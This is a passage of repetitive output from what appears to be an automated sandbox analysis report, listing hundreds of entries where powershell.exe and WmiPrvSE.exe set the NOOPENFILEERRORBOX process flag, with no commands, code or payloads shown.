                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\wbem\WmiPrvSE.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
